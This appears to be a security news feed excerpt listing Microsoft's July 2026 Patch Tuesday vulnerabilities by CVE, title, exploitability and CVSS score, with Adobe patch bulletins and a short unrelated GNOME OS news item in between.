CVE-2026-34349	Windows Media Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50394	Windows Media Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50415	Windows Media Information Disclosure Vulnerability	Exploitation Less Likely	No	5.3
CVE-2026-57083	Windows Media Photo Codec Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50327	Windows Media Remote Code Execution Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-58542	Windows Media Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-54115	Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50447	Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-50505	Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50342	Windows MIDI Service Module Elevation of Privileges Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-56183	Windows MIDI Service Module Elevation of Privileges Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-56187	Windows MIDI Service Module Elevation of Privileges Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-58635	Windows Narrator Braille Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50500	Windows Netlogon Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-56181	Windows Network Address Translation (NAT) Spoofing Vulnerability	Exploitation Less Likely	No	8.3
CVE-2026-50476	Windows Network Connections Service Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-50450	Windows Network Connections Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56650	Windows Network File System Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56649	Windows Network File System Remote Code Execution Vulnerability	Exploitation Unlikely	No	5.9
CVE-2026-50470	Windows Network Policy Server SNMP Information Disclosure Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50496	Windows Network Policy Server SNMP Information Disclosure Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-56194	Windows NFS Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-56648	Windows NFS Server Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50337	Windows Notification Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-49789	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.3
CVE-2026-50412	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50422	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50672	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-56175	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56182	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50341	Windows NTFS Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-58640	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.3
CVE-2026-49184	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.4
CVE-2026-49797	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50308	Windows NTFS Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50386	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50309	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50313	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50388	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50448	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50471	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50461	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50417	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50482	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.3
CVE-2026-50494	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50344	Windows OLE Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50686	Windows OLE Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-50335	Windows Operating Systems Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50317	Windows Operating Systems Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-54987	Windows Overlay Filter Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50435	Windows Overlay Filter Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50409	Windows Overlay Filter Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-40400	Windows PowerShell Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-49166	Windows Print Configuration Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55004	Windows Print Configuration Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50499	Windows Print Spooler Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50383	Windows Print Spooler Information Disclosure Vulnerability	Exploitation Less Likely	No	6.1
CVE-2026-57085	Windows Print Spooler Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-58608	Windows Print Spooler Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50469	Windows Projected File System Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50434	Windows Push Notification Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50339	Windows Push Notification Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50430	Windows Push Notification Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50334	Windows Push Notification Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-44800	Windows Push Notifications Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50363	Windows Push Notifications Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50431	Windows Quality of Service (QoS) Packet Scheduler Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50372	Windows Redirected Drive Buffering System Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-54982	Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-54995	Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-50666	Windows Remote Access Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-56647	Windows Remote Access Service Infrastructure Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50330	Windows Remote Desktop Client Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50376	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50504	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-58533	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-58535	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-58546	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-58539	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-55003	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-57979	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50445	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50497	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-54126	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-57982	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50369	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-58626	Windows Remote Desktop Services Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-55014	Windows Remote Help Defense Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50318	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50407	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50357	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50441	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50668	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.8
CVE-2026-54109	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-49792	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-49793	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50362	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50492	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Exploitation Unlikely	No	6.8
CVE-2026-50501	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-58530	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-49791	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-50451	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-57096	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50323	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-50452	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-50348	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-50345	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-50322	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-50340	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.5
CVE-2026-50410	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50449	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50460	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-50403	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-50385	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-50413	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50457	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50486	Windows Runtime Elevation of Privilege Vulnerability	N/A	No	7.8
CVE-2026-50503	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-54125	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-58527	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50373	Windows Search Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50679	Windows Search Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-44806	Windows Secure Channel Denial of Service Vulnerability	Exploitation Less Likely	No	5.3
CVE-2026-50681	Windows Secure Channel Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-56186	Windows Secure Channel Information Disclosure Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-42982	Windows Secure Kernel Mode Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50392	Windows Secure Kernel Mode Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50694	Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-50367	Windows Sensor Data Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-58619	Windows Sensor Data Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50311	Windows Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56188	Windows Server Network driver Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8
CVE-2026-50444	Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50328	Windows Server Update Service (WSUS) Tampering Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-58531	Windows SMB Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.5
CVE-2026-54997	Windows SMB Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-49801	Windows SMB Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5

CVE-2026-50690	Windows SMB Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-56168	Windows SMB Server Denial of Service Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50360	Windows SMB Server Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-57089	Windows SMB Server Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50333	Windows Spaceport.sys Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50298	Windows Spaceport.sys Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.8
CVE-2026-49171	Windows Speech Runtime Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-49170	Windows StateRepository API Server file Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-58526	Windows Storage Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50299	Windows Storage Spaces Direct Remote Code Execution Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-50418	Windows System Secure Feature Bypass Vulnerability	Exploitation Unlikely	No	5.1
CVE-2026-50306	Windows TCP/IP Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50307	Windows TCP/IP Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-49177	Windows TCP/IP Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-54999	Windows TCP/IP Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50669	Windows Telephony Server Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-54124	Windows Terminal Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50350	Windows Trusted Runtime Interface Driver Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50326	Windows Unified Consent System Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-49790	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.3
CVE-2026-50498	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-58547	Windows Universal Plug and Play (UPnP) Device Host Elevation of Privilege Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-49794	Windows USB Audio Class Driver Information Disclosure Vulnerability	Exploitation Less Likely	No	4.6
CVE-2026-50453	Windows USB Audio Class Driver Information Disclosure Vulnerability	Exploitation Less Likely	No	6.1
CVE-2026-58528	Windows USB Audio Class Driver Information Disclosure Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-50321	Windows USB Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50479	Windows USB Hub Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55000	Windows USB Print Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.4
CVE-2026-54991	Windows USB Print Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-54996	Windows USB Print Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-49802	Windows USB Print Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-49806	Windows USB Print Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50674	Windows USB Print Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-49804	Windows USB Video Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.6
CVE-2026-50454	Windows User Interface Core Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-49176	Windows WalletService Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-49800	Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50480	Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56173	Windows WebView Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-58632	Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-54107	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-54986	Windows Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-54112	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-54114	Windows Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-50670	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50688	Windows Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-50687	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-56176	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-58628	Windows Wireless Network Manager Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50295	Windows Zero Trust DNS Security Feature Bypass Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-50509	Wireless Wide Area Network Service (WwanSvc) Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8

Zero-Day Vulnerabilities: Known Exploited

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-56155	Active Directory Federation Services Elevation of Privilege Vulnerability	Exploitation Detected	No	7.8
CVE-2026-56164	Microsoft SharePoint Server Elevation of Privilege Vulnerability	Exploitation Detected	No	5.3

Zero-Day Vulnerabilities: Publicly Disclosed (No known exploitation)

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-50661	Windows BitLocker Security Feature Bypass Vulnerability	Exploitation Less Likely	Yes	6.1

Critical RCEs

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-56159	DHCP Server Service Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-48561	Microsoft Copilot Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.6
CVE-2026-55944	Microsoft Dynamics NAV and Microsoft Dynamics 365 Business Central (On Premises) Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8
CVE-2026-55008	Microsoft Exchange Server Spoofing Vulnerability	Exploitation More Likely	No	9.6
CVE-2026-50522	Microsoft SharePoint Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8
CVE-2026-58644	Microsoft SharePoint Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8
CVE-2026-55040	Microsoft SharePoint Server Security Feature Bypass Vulnerability	Exploitation More Likely	No	9.1
CVE-2026-57092	Microsoft Windows VMSwitch Elevation of Privilege Vulnerability	Exploitation Less Likely	No	9.9
CVE-2026-55010	Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8
CVE-2026-54990	Remote Desktop Client Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-56190	Remote Desktop Protocol Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-42990	SQL Server ODBC driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-50518	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8
CVE-2026-49172	Windows FTP Service Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-50380	Windows GDI+ Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.6
CVE-2026-49798	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	9.3
CVE-2026-50447	Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-56188	Windows Server Network driver Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8

Microsoft Patch Tuesday for July 2026 — Snort rules and prominent vulnerabilities

Tue, 14 Jul 2026 22:38:13 +0200

Microsoft has released its monthly security update for July 2026, which includes 622 vulnerabilities affecting a range of products, including 57 that Microsoft marked as "critical".

Microsoft notes that two of the vulnerabilities disclosed this month have been exploited in the wild.

CVE-2026-56155 is an important-

GNOME OS is Getting a ‘Test Center’ – Making Experimental Software Testing Actually Usable

Tue, 14 Jul 2026 20:39:25 +0200

GNOME OS is getting a dedicated “Test Center” that finally makes testing experimental apps and system components safe, simple, and reversible on image-based distributions. GNOME OS has always been that cool, slightly wild playground for people who live and breathe GNOME. It’s image-based, atomically updated, super secure… and until now, a bit of a pain...

The post GNOME OS is Getting a ‘Test Center’ – Making Experimental Software Testing Actually Usable appeared first on DebugPoint.com. Do not reproduce this post without permission.

The July 2026 Security Update Review

Tue, 14 Jul 2026 20:22:46 +0200

Adobe Patches for July 2026

Here’s this month’s overview table:

Bulletin ID	Product	CVE Count	Highest Severity	Highest CVSS	Exploited	Deployment Priority
APSB26-82	Adobe ColdFusion	13	Critical	9.9	No	1
APSB26-73	Adobe Commerce	13	Critical	9.6	No	2
APSB26-78	Adobe After Effects	3	Critical	7.8	No	3
APSB26-83	Adobe Animate	6	Critical	8.6	No	3
APSB26-71	Adobe Audition	6	Critical	7.8	No	3
APSB26-81	Adobe Bridge	6	Critical	7.8	No	3
APSB26-77	Adobe Creative Cloud Desktop Application	2	Critical	8.1	No	3
APSB26-74	Adobe Experience Manager	13	Critical	9.6	No	3
APSB26-79	Adobe Illustrator	5	Critical	9.3	No	3
APSB26-72	Adobe Media Encoder	5	Critical	7.8	No	3
APSB26-76	Adobe Premiere Pro	4	Critical	7.8	No	3
APSB26-80	Content Credentials SDK	12	Critical	8.2	No	3
TOTAL	12 bulletins	88

Microsoft Patches for July 2026

Here’s the full list of CVEs released by Microsoft for July 2026:

CVE	Title	Severity	CVSS	Public	Exploited	Type
CVE-2026-56155	Active Directory Federation Services Elevation of Privilege Vulnerability	Important	7.8	No	Yes	EoP
CVE-2026-56164	Microsoft SharePoint Server Elevation of Privilege Vulnerability	Moderate	5.3	No	Yes	EoP
CVE-2026-50661	Windows BitLocker Security Feature Bypass Vulnerability	Important	6.1	Yes	No	SFB
CVE-2026-54121	Active Directory Certificate Services Elevation of Privilege Vulnerability	Critical	8.8	No	No	EoP
CVE-2026-45499 **	Azure OpenAI Elevation of Privilege Vulnerability	Critical	9.9	No	No	EoP
CVE-2026-48564	DHCP Server Service Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-50370	DHCP Server Service Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-56159	DHCP Server Service Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-50382	DirectX Graphics Kernel Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-41106 **	Microsoft 365 Copilot Elevation of Privilege Vulnerability	Critical	9.3	No	No	EoP
CVE-2026-26145 **	Microsoft Azure Synapse Elevation of Privilege Vulnerability	Critical	4.8	No	No	EoP
CVE-2026-48561	Microsoft Copilot Remote Code Execution Vulnerability	Critical	9.6	No	No	RCE
CVE-2026-55011	Microsoft Defender Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55012	Microsoft Defender Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55944	Microsoft Dynamics NAV and Microsoft Dynamics 365 Business Central (On Premises) Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-57100 **	Microsoft Entra Provisioning Service Elevation of Privilege Vulnerability	Critical	9.9	No	No	EoP
CVE-2026-55041	Microsoft Excel Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-54998 **	Microsoft Exchange Online Elevation of Privilege Vulnerability	Critical	8.8	No	No	EoP
CVE-2026-55008	Microsoft Exchange Server Spoofing Vulnerability	Critical	9.6	No	No	Spoofing
CVE-2026-54992	Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-50314	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-50467	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55018	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55022	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55045	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-55049	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55129	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55056	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55140	Microsoft Office Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55043	Microsoft PowerPoint Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55123	Microsoft PowerPoint Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55120	Microsoft PowerPoint Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-50522	Microsoft SharePoint Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-58644	Microsoft SharePoint Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-55040	Microsoft SharePoint Server Security Feature Bypass Vulnerability	Critical	9.1	No	No	SFB
CVE-2026-54117	Microsoft SQL Server Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-54118	Microsoft SQL Server Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-50655	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-56189	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-57090	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-57094	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-57087	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-57092	Microsoft Windows VMSwitch Elevation of Privilege Vulnerability	Critical	9.9	No	No	EoP
CVE-2026-55033	Microsoft Word Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55127	Microsoft Word Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55132	Microsoft Word Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-55010	Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-50474	Remote Desktop Client Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-49164	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Critical	8.1	No	No	RCE
CVE-2026-54128	Windows DHCP Client Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-50518	Windows DHCP Server Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-49796	Windows GDI+ Remote Code Execution Vulnerability	Critical	7.8	No	No	RCE
CVE-2026-50380	Windows GDI+ Remote Code Execution Vulnerability	Critical	9.6	No	No	RCE
